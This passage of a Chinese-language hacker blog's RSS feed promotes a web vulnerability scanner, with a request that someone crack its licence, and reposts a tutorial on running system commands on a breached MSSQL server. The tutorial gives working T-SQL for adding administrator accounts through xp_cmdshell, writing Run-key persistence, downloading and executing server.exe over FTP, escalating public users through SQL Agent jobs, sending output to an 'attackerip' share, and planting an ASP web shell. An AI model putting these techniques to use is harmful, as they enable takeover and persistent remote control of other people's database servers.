<P>這就是「黑客圈」裡會發生的事：相互激盪交織的燦爛回饋。妳毋須勸誘其他人該怎麼做，就祇要爆發妳純真的熱情與活力，逐漸地就能夠推波助瀾。</P>
<P>踏入這個領域時，不祇要為自己、更要為其他人做些甚麼；因為整體的進步纔叫進步、纔是個案的幸福。我以此自勉。 </P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/Acunetix Web Vulnerability Scanner.htm</link>
			<title><![CDATA[Acunetix Web Vulnerability Scanner]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Mon,12 Dec 2005 01:21:44 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/Acunetix Web Vulnerability Scanner.htm</guid>
		<description><![CDATA[<P>Acunetix Web Vulnerability Scanner</P>
<P>可以掃瞄ASP,ASPX,PHP,JSP等網頁漏洞,還可以實施以下幾種攻擊:</P>
<P>SQL injection attacks<BR>PHP injection attacks<BR>CRLF injection attacks <BR>Code execution attacks <BR>Directory traversal attacks <BR>File inclusion attacks <BR>Input validation attacks <BR>Authentication attacks<BR>Google Hacking attacks<BR>HTTP Sniffer attacks</P>
<P>下載地址：<A href="http://www.easy321.com/deleted/pc/vulnerabilityscanner3.exe">http://www.easy321.com/deleted/pc/vulnerabilityscanner3.exe</A></P>
<P>並可以生成網頁模式的報告,十分強大,可惜是E文的,並且要註冊,找遍全球了都沒找到誰破解了,希望高手把他破解了,這東西太好了...<BR><BR><IMG src="http://blog.tank.tw/UploadFiles/2005-12/1212875851.jpg"><BR><BR><IMG src="http://blog.tank.tw/UploadFiles/2005-12/1212529163.jpg"></P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/How to execute system command in MSSQL.htm</link>
			<title><![CDATA[How to execute system command in MSSQL]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Tue,17 May 2005 22:28:46 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/How to execute system command in MSSQL.htm</guid>
		<description><![CDATA[<P>How to execute system command in MSSQL<BR>&nbsp;<BR>&nbsp; 注:很有用的老文章,作收集用</P>
<P>假設一台主機開了1433埠我們已通過SQL注入或是空弱密碼遠程連接<BR>能有哪些辦法加一個系統管理員用戶呢(或是執行系統命令) </P>
<P><BR>1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'<BR>人人都知道的辦法,最大的好處是有回顯,但是最怕</P>
<P><BR>if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)<BR>exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'<BR>GO</P>
<P><BR>通過上面的T-SQL語句就可以把這個擴展儲存刪了</P>
<P><BR>我們一般可以用<BR>2k:<BR>EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' <BR>SQL97:<BR>EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'</P>
<P><BR>就還原了.</P>
<P><BR>但是有的人知道sp_addextendedproc也只不過是一個儲存過程一樣可以刪除的</P>
<P><BR>Drop PROCEDURE sp_addextendedproc<BR>if exists (select * from <BR>dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and <BR>OBJECTPROPERTY(id, N'IsExtendedProc') = 1)<BR>exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'<BR>GO </P>
<P><BR>還原:<BR>create procedure sp_addextendedproc --- 1996/08/30 20:13<BR>@functname nvarchar(517),/* (owner.)name of function to call */<BR>@dllname varchar(255)/* name of DLL containing function */<BR>as<BR>set implicit_transactions off<BR>if @@trancount &gt; 0<BR>begin<BR>raiserror(15002,-1,-1,'sp_addextendedproc')<BR>return (1)<BR>end<BR>/*<BR>** Create the extended procedure mapping.<BR>*/<BR>dbcc addextendedproc( @functname, @dllname)<BR>return (0) -- sp_addextendedproc<BR>GO </P>
<P><BR>唉呀呀寫了這麼多其實有個最簡單的保護辦法:<BR>先NET stop mssqlserver,然後把xplog70.dll(SQL97下用xpsql70.dll)刪了<BR>再把服務打開就可以了</P>
<P><BR>2)<BR>看了上面的你就明白了xp_cmdshell最終是可以被刪除的，沒別的辦法了嗎?<BR>有寫註冊表三:<BR>xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add</P>
<P><BR>其實註冊表還有好幾個地方可以寫的比如說註冊表中的WEB瀏覽設置<BR>用寫註冊表的辦法不好的地方是不但沒有回顯而且不能馬上運行，實不實用我也不知道了</P>
<P><BR>3)<BR>declare @s int<BR>exec sp_oacreate "wscript.shell",@s out<BR>--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com&gt;c:\a.txt"<BR>--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321&gt;&gt;c:\a.txt"<BR>--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321&gt;&gt;c:\a.txt"<BR>--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe&gt;&gt;c:\a.txt"<BR>--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close&gt;&gt;c:\a.txt"<BR>--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"<BR>exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"</P>
<P><BR>對了正如你看到的我們還可以使用sp_oacreate和sp_oamethod，在它們的作用下我們可以<BR>調用系統的控件比如說fso,wsh,shell什麼的,但是有個問題是並不能像xp_cmdshell那樣<BR>馬上看到結果，真的不能嗎看下面的:</P>
<P><BR>declare @s int,@o int ,@f int,@str nvarchar(4000)<BR>/*exec sp_oacreate "wscript.shell",@s out<BR>exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user&gt;c:\temp.txt"*/<BR>exec sp_oacreate "scripting.filesystemobject", @o out<BR>exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1<BR>exec sp_oamethod @f, "readall",@str out<BR>print @str</P>
<P><BR>先執行註解內的然後執行外面的其實原理很簡單就是利用&gt;把結果寫到一個文件中然後用<BR>fso來讀出來!很實用的</P>
<P><BR>------------------------------------------<BR>寫到這兒該作個總結了上面三個辦法可能大家都知道吧<BR>下面的可能知道的人就少了<BR>------------------------------------------</P>
<P><BR>4)<BR>use msdb; --這兒不要是master喲<BR>exec sp_add_job @job_name='czy82';<BR>exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\&gt;c:\b.txt';<BR>exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';<BR>exec sp_start_job @job_name='czy82';</P>
<P><BR>利用MSSQL的作業處理也是可以執行命令的而且如果上面的subsystem的參數是tsql，後面的我們就可以<BR>執行tsql語句了.<BR>對於這幾個儲存過程的使用第一在@server_name我們要指定你的sql的服務器名<BR>第二系統的sqlserveragent服務必須打開(默認沒打開的氣人了吧)<BR>net start SQLSERVERAGENT</P>
<P><BR>對於這個東東還有一個地方不同就是public也可以執行..同這兒也是有系統洞洞的看下面的<BR>USE msdb<BR>EXEC sp_add_job @job_name = 'GetSystemOnSQL',<BR>@enabled = 1,<BR>@description = 'This will give a low privileged user access to<BR>xp_cmdshell',<BR>@delete_level = 1<BR>EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',<BR>@step_name = 'Exec my sql',<BR>@subsystem = 'TSQL',<BR>@command = 'exec master..xp_execresultset N''select ''''exec<BR>master..xp_cmdshell "dir &gt; c:\agent-job-results.txt"'''''',N''Master'''<BR>EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',<BR>@server_name = '你的SQL的服務器名'<BR>EXEC sp_start_job @job_name = 'GetSystemOnSQL'</P>
<P><BR>不要懷疑上面的代碼，我是測試成功了的!這兒我們要注意xp_execresultset就是因為它所以<BR>才讓我們可以以public執行xp_cmdshell</P>
<P><BR>5)關於Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶也可以)<BR>在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968</P>
<P><BR>USE msdb<BR>EXEC sp_add_job @job_name = 'ArbitraryFileCreate',<BR>@enabled = 1,<BR>@description = 'This will create a file called c:\sqlafc123.txt',<BR>@delete_level = 1<BR>EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',<BR>@step_name = 'SQLAFC',<BR>@subsystem = 'TSQL',<BR>@command = 'select ''hello, this file was created by the SQL Agent.''',<BR>@output_file_name = 'c:\sqlafc123.txt'<BR>EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',<BR>@server_name = 'SERVER_NAME'<BR>EXEC sp_start_job @job_name = 'ArbitraryFileCreate' </P>
<P><BR>如果subsystem選的是:tsql，在生成的文件的頭部有如下內容</P>
<P><BR>??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19<BR>----------------------------------------------<BR>hello, this file was created by the SQL Agent.</P>
<P><BR>(1 ?????)</P>
<P><BR>所以我建議要生成文件最好subsystem選cmdexec,如果利用得好我們可以寫一個有添加管理員<BR>命令的vbs文件到啟動目錄!</P>
<P><BR>6)關於sp_makewebtask(可以寫任意內容任意文件名的文件)<BR>關於sp_MScopyscriptfile 看下面的例子<BR>declare @command varchar(100) <BR>declare @scripfile varchar(200) <BR>set concat_null_yields_null off <BR>select @command='dir c:\ &gt; "<a href="http://tank.tank.tw/file://attackerip/share/dir.txt%22'">\\attackerip\share\dir.txt"'</A> <BR>select @scripfile='c:\autoexec.bat &gt; nul" | ' + @command + ' | rd "' <BR>exec sp_MScopyscriptfile @scripfile ,'' </P>
<P><BR>這兩個東東都還在測試試喲<BR>讓MSSQL的public用戶得到一個本機的web shell:)</P>
<P><BR>sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312,<BR><a href="http://tank.tank.tw/mailto:--@query='select">--@query='select</A> ''&lt;img src=vbscript:msgbox(now())&gt;'''<BR><a href="http://tank.tank.tw/mailto:--@query='select">--@query='select</A> ''&lt;%response.write request.servervariables("APPL_PHYSICAL_PATH")%&gt;'' '<BR>@query='select ''<BR>&lt;%On Error Resume Next <BR>Set oscript = Server.CreateObject("wscript.SHELL") <BR>Set oscriptNet = Server.CreateObject("wscript.NETWORK") <BR>Set oFileSys = Server.CreateObject("scripting.FileSystemObject") <BR>szCMD = Request.Form(".CMD") <BR>If (szCMD &lt;&gt;"")Then <BR>szTempFile = "C:\" &amp; oFileSys.GetTempName() <BR>Call oscript.Run ("cmd.exe /c " &amp; szCMD &amp; " &gt; " &amp; szTempFile, 0, True) <BR>Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) <BR>End If %&gt; <BR>&lt;HTML&gt;&lt;BODY&gt;&lt;FORM action="&lt;%= Request.ServerVariables("URL")%&gt;" method="POST"&gt; <BR>&lt;input type=text name=".CMD" size=45 value="&lt;%= szCMD %&gt;"&gt;&lt;input type=submit value="Run"&gt; <BR>&lt;/FORM&gt;&lt;PRE&gt; <BR>&lt;% If (IsObject(oFile))Then <BR>On Error Resume Next <BR>Response.Write Server.HTMLEncode(oFile.ReadAll) <BR>oFile.Close <BR>Call oFileSys.DeleteFile(szTempFile, True) <BR>End If%&gt; <BR>&lt;/BODY&gt;&lt;/HTML&gt; '''</P>
<P>&nbsp;<BR>&nbsp;<BR></P>]]></description>
		</item>
		
</channel>
</rss>
